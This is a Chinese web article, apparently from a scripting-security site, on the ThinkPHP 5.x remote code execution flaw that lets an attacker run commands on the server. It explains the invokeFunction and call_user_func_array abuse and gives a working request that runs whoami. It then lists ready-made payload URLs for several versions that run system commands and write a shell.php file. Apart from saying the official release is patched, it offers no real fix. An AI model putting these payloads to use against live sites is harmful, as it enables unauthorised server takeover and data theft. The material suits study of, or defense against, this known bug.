thinkphp代码执行getshell的漏洞解决

所属分类: 网络安全 / 脚本攻防 阅读数: 343
收藏 0 赞 0 分享

先来简单说说前天thinkphp官方修复的一个getshell漏洞,框架对控制器没有进行足够的检测导致的一处getshell

影响的范围: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 导致系统被提权(你懂的)

这里附上一个自己测试的 thinkphp的 链接  http://www.thinkphp.cn/download/1260.html  版本是5.0.22

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的,

漏洞原理

URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我们先来看看App类里的 exec函数里的执行分层控制器的操作

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入BaiDu然后$vars传入[12,555]就相当于调用BaiDu(12,555)

此处我们把function传入call_user_func_array然后vars[0]传入我们要执行的函数的名字vars[1]传入要执行函数的参数,因为vars是个数组 所以此处我们的get请求需要这样写

vars[]=函数名&vars[1][]=参数

此处是利用php的数组注入

此时此刻就可以开始利用远程代码执行漏洞了 比如我们要执行system函数 他的参数是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作为一个接班人我们要做的就是修复他(为所欲为?),当然官方更新的最新版本是已经修复了的

这里就代码执行成功,以下奉献上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

更多精彩内容其他人还在看

一次奇遇的渗透

其实这一步可以完全省略,都说了是奇遇了。其实就是检查下自己的站点是否安全
收藏 0 赞 0 分享

mssql2005 DB权限导出一句话

昨晚在拿站过程中遇到了个ASP+MSSQL2005的注入点,权限是DB_Owner的权限
收藏 0 赞 0 分享

PHP木马大全 一句话的PHP木马的防范

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢
收藏 0 赞 0 分享

PoisonIvy Rat 远程溢出实战

这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单独提出来.
收藏 0 赞 0 分享

防止SQL注入攻击的一些方法小结

SQL注入攻击的危害性很大。在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理。这有利于管理员采取有针对性的防治措施
收藏 0 赞 0 分享

脚本入侵 入侵ewebeditor编辑器一些技巧

脚本入侵 入侵ewebeditor编辑器一些技巧,使用ewebeditor的朋友可以参考下。
收藏 0 赞 0 分享

脚本入侵 ASP网站入侵常用的一些技巧分享

脚本入侵-ASP网站入侵一些技巧 先说明下 先看下是不是html转的asp生成的站
收藏 0 赞 0 分享

脚本入侵-上传漏洞总结篇(臭小子)

脚本入侵-上传漏洞总结篇(臭小子),从事于网站开发的程序员要看下,不要让自己的程序别黑客利用。
收藏 0 赞 0 分享

防止网站被JS,iframe挂马的防范方法

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
收藏 0 赞 0 分享

用JavaScript防止网站被挂IFRAME木马的方法

网站挂马的最常见形式就是IFRAME挂马,即在你的网页中加入一段框架网页代码,这个框架网页中的内容便是带木马病毒的网页。
收藏 0 赞 0 分享
查看更多